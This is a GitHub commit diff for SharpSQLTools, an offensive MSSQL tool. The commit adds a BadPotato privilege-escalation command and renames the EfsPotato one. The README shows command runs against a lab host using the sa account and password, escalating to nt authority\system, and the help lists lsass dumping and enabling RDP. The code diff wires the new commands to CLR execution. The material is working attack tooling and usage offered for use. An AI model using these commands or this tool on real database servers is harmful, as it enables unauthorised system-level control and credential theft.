Skip to content

Commit 0b1413b

Browse files
committed
添加clr_badpotato
- 添加clr_badpotato - 修改原来的clr_potato为clr_efspotato
1 parent b39bfd1 commit 0b1413b

3 files changed

Lines changed: 30 additions & 10 deletions

File tree

README.md

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,16 @@
66

77
### 更新日志
88

9+
- 2021-08-05
10+
- 添加clr_badpotato
11+
- 修改原来的clr_potato为clr_efspotato
12+
913
- 2021-08-04
1014
- 添加一些clr实现的基本命令:pwd,ls,netstat,ps等等
1115
- 致谢[KevinJClark@csharptoolbox](https://gitlab.com/KevinJClark/csharptoolbox/-/tree/master/WindowsBinaryReplacements) & [rabbittb](https://github.com/rabbittb)
1216

1317
- 2021-08-03
14-
- 添加clr_potato
18+
- 添加clr_efspotato
1519
- 致谢[zcgonvh@EfsPotato](https://github.com/zcgonvh/EfsPotato) & [hl0rey](https://github.com/hl0rey)
1620

1721
- 2021-07-10
@@ -73,7 +77,8 @@ clr_ping {host} - ping by clr
7377
clr_cat {file} - view file contents by clr
7478
clr_rm {file} - delete file by clr
7579
clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
76-
clr_potato {cmd} - exec by EfsPotato like clr_exec
80+
clr_efspotato {cmd} - exec by EfsPotato like clr_exec
81+
clr_badpotato {cmd} - exec by BadPotato like clr_exec
7782
clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
7883
clr_dumplsass {path} - dumplsass by clr
7984
clr_rdp - check RDP port and Enable RDP
@@ -148,10 +153,10 @@ nt service\mssql$sqlexpress
148153
149154
```
150155

151-
#### clr_potato
156+
#### clr_efspotato or clr_badpotato
152157

153158
```
154-
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato whoami
159+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato whoami
155160
[*] Database connection is successful!
156161
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
157162
Part of GMH's fuck Tools, Code By zcgonvh.
@@ -165,7 +170,7 @@ Part of GMH's fuck Tools, Code By zcgonvh.
165170
166171
nt authority\system
167172
168-
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato -p c:\windows/system32\whoami.exe
173+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\windows/system32\whoami.exe
169174
[*] Database connection is successful!
170175
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
171176
Part of GMH's fuck Tools, Code By zcgonvh.
@@ -179,7 +184,7 @@ Part of GMH's fuck Tools, Code By zcgonvh.
179184
180185
nt authority\system
181186
182-
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato -p c:\cmd.exe -a /c whoami
187+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_efspotato -p c:\cmd.exe -a /c whoami
183188
[*] Database connection is successful!
184189
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
185190
Part of GMH's fuck Tools, Code By zcgonvh.

SharpSQLTools/Program.cs

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,8 @@ private static void Help()
3939
clr_cat {file} - view file contents by clr
4040
clr_rm {file} - delete file by clr
4141
clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
42-
clr_potato {cmd} - exec by EfsPotato like clr_exec
42+
clr_efspotato {cmd} - exec by EfsPotato like clr_exec
43+
clr_badpotato {cmd} - exec by BadPotato like clr_exec
4344
clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
4445
clr_dumplsass {path} - dumplsass by clr
4546
clr_rdp - check RDP port and Enable RDP
@@ -448,7 +449,14 @@ static void interactive(string[] args)
448449
clr_exec(s);
449450
break;
450451
}
451-
case "clr_potato":
452+
case "clr_efspotato":
453+
{
454+
String s = String.Empty;
455+
for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; }
456+
clr_exec(s);
457+
break;
458+
}
459+
case "clr_badpotato":
452460
{
453461
String s = String.Empty;
454462
for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; }
@@ -681,7 +689,14 @@ static void Noninteractive(string[] args)
681689
clr_exec(s);
682690
break;
683691
}
684-
case "clr_potato":
692+
case "clr_efspotato":
693+
{
694+
String s = String.Empty;
695+
for (int i = 4; i < args.Length; i++) { s += args[i] + " "; }
696+
clr_exec(s);
697+
break;
698+
}
699+
case "clr_badpotato":
685700
{
686701
String s = String.Empty;
687702
for (int i = 4; i < args.Length; i++) { s += args[i] + " "; }

SharpSQLTools/Setting.cs

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)